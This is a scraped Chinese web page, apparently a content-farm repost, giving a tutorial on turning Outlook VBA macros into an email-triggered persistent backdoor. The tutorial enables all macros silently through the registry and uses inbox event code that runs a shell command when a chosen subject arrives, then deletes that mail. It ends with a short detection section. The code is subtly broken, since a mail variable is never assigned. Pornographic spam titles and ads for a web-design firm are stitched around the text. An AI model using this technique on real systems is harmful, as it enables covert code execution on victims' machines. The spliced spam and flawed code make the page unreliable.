欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

本篇內(nèi)容主要講解“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”吧!

創(chuàng)新互聯(lián)是一家專業(yè)提供蒲城企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、HTML5、小程序制作等業(yè)務(wù)。10年已為蒲城眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。

技術(shù)分析

跟大多數(shù)的Microsoft Office產(chǎn)品一樣,Outlook也可以啟用開發(fā)者選項(xiàng),并通過VB編輯器來創(chuàng)建基于VBA的宏。打開編輯器,然后創(chuàng)建一個(gè)簡(jiǎn)單的宏文件,你將會(huì)看到一個(gè)名為“ThisOutlookSession”的Outlook模塊:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

保存這個(gè)宏之后,一個(gè)VbaProject.OTM文件將會(huì)在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創(chuàng)建:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

在默認(rèn)配置下是無(wú)法執(zhí)行這個(gè)宏的,因?yàn)槟J(rèn)配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。

但是,我們可以通過使用以下值創(chuàng)建Security注冊(cè)表項(xiàng)來修改此配置:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

Level值定義的是宏安全配置,包含下列值:

4 = Disable all macros without notification

3 = Notifications for digitally signed macros, all other macros disabled

2 = Notifications for all macros

1 = Enable all Macros

如果想允許宏以隱蔽方式運(yùn)行而不通知用戶的話,我們需要設(shè)置“Level”值以在操作期間啟用所有宏。

通過檢查VbaProject.OTM文件,我們發(fā)現(xiàn)它是標(biāo)準(zhǔn)的Microsoft復(fù)合文檔文件(CDF):

dmc@deathstar ~  ? file ~/VbaProject.OTM

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

對(duì)oledump.py進(jìn)行深入分析后,我們發(fā)現(xiàn)了包含宏代碼的OLE數(shù)據(jù)流:

dmc@deathstar ~  ? python oledump.py ~/VbaProject.OTM

  1:        43 'OutlookProjectData'

  2:       388 'OutlookVbaData/PROJECT'

  3:        59 'OutlookVbaData/PROJECTwm'

  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6:       497 'OutlookVbaData/VBA/dir'

現(xiàn)在,我們已經(jīng)知道VbaProject.OTM是一個(gè)啟用了標(biāo)準(zhǔn)OLE宏的文檔,因此創(chuàng)建、混淆、清除和重載這些文件的傳統(tǒng)工具和技術(shù)仍然適用。接下來,我們看看如何將其轉(zhuǎn)換成一種持久化武器。

宏武器化

為了讓這種VBA代碼執(zhí)行技術(shù)轉(zhuǎn)換成對(duì)我們有用的東西,我們需要將代碼作為事件的結(jié)果執(zhí)行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實(shí)現(xiàn)代碼執(zhí)行的一個(gè)可用元素了。

針對(duì)持久化來說,目標(biāo)事件的潛在選項(xiàng)包括用戶驅(qū)動(dòng)的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達(dá)等等。對(duì)于我們的場(chǎng)景,我們將主要研究如何利用帶有特定主題的郵件來執(zhí)行任意的VBA。

為了確認(rèn)新郵件的接收時(shí)間,我們可以在Outlook啟動(dòng)時(shí)首先訂閱默認(rèn)收件箱的相關(guān)事件。首先,在注冊(cè)事件的同時(shí)在默認(rèn)收件箱文件夾(olInboxItems)中設(shè)置變量:

Option Explicit

Private WithEvents olInboxItems As Items

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調(diào)來接收新消息抵達(dá)事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

End Sub

具體說來,我們只對(duì)接收的電子郵件感興趣,因此我們需要對(duì)回調(diào)進(jìn)行優(yōu)化,只允許新郵件來觸發(fā)我們的事件。這里可以通過驗(yàn)證郵件類型是否為“MailItem”來實(shí)現(xiàn):

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)  

    If TypeOf Item Is MailItem Then

        MsgBox "You have mail"

    End If

End Sub

當(dāng)然了,我們并不需要每一封接收到的郵件都觸發(fā)我們的事件,所以我們需要對(duì)郵件地址、主題和正文內(nèi)容等進(jìn)行過濾:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

持久化PoC

綜上所屬,讓我們來彈個(gè)計(jì)算器(calc.exe)試試:

Option Explicit

 

Private WithEvents olInboxItems As Items

 

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

 

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            Shell "calc.exe"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

PoC演示

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

檢測(cè)

從目標(biāo)設(shè)備的角度來看,我們可以通過下列兩個(gè)關(guān)鍵指標(biāo)來檢測(cè)這種攻擊技術(shù):

  • 監(jiān)控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創(chuàng)建和修改事件(Sysmon 事件 ID 11);

  • 監(jiān)控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊(cè)表鍵值的創(chuàng)建和修改事件(Sysmon 事件 ID 12);

到此,相信大家對(duì)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

網(wǎng)頁(yè)題目:怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門
網(wǎng)頁(yè)路徑:http://aaarwkj.com/article12/igoegc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、網(wǎng)站設(shè)計(jì)公司、定制開發(fā)、域名注冊(cè)、全網(wǎng)營(yíng)銷推廣、營(yíng)銷型網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運(yùn)營(yíng)
免费在线观看污污污网站| 国产污视频网站在线观看| 国产亚洲精品美女视频| 伊人婷婷综合激情网| 青青草免费在线视频蜜臀| 日本特黄特色大片免费| 91精品国产91久久综合桃花| 高清亚洲一区二区三区| 免费国产污在线观看网站| 亚洲香蕉一区二区免费| 欧美黄色一区二区三区视频| 成人免费在线国产视频| 国内成人午夜激情视频| 日韩在线不卡播放视频| 日韩不卡一区二区在线观看| 一区二区三区毛片在线看| 亚洲精品日本一区二区| 农村人妻一区二区三区视频 | 亚洲精品伦理中文字幕| 日韩欧美亚洲天堂视频| 日本一区二区国产在线| 99久久免费热在线观看| 国产三级传媒视频在线观看| 夫妻性生活视频在线免费看| 91午夜福利偷拍视频| 亚洲婷婷久久一区二区| 人妻少妇被猛烈进入中文字幕91| 尤物视频在线观看羞羞| 亚洲精品色播一区二区| 91亚洲婷婷国产综合精品| 国产成年人免费小视频| 国产亚洲精品国产福利久久| 日日躁夜夜躁狠狠躁欧美| 亚洲av乱码专区国产乱码| 丝袜亚洲激情欧美日韩偷拍| 国产欧美高清在线观看视频| 在线中文字幕日韩有码| 91美女黑丝免费国产视频| 少妇被又粗又硬猛烈进视频| 亚洲精品国产高清久久| 亚洲欧美日韩1区2区|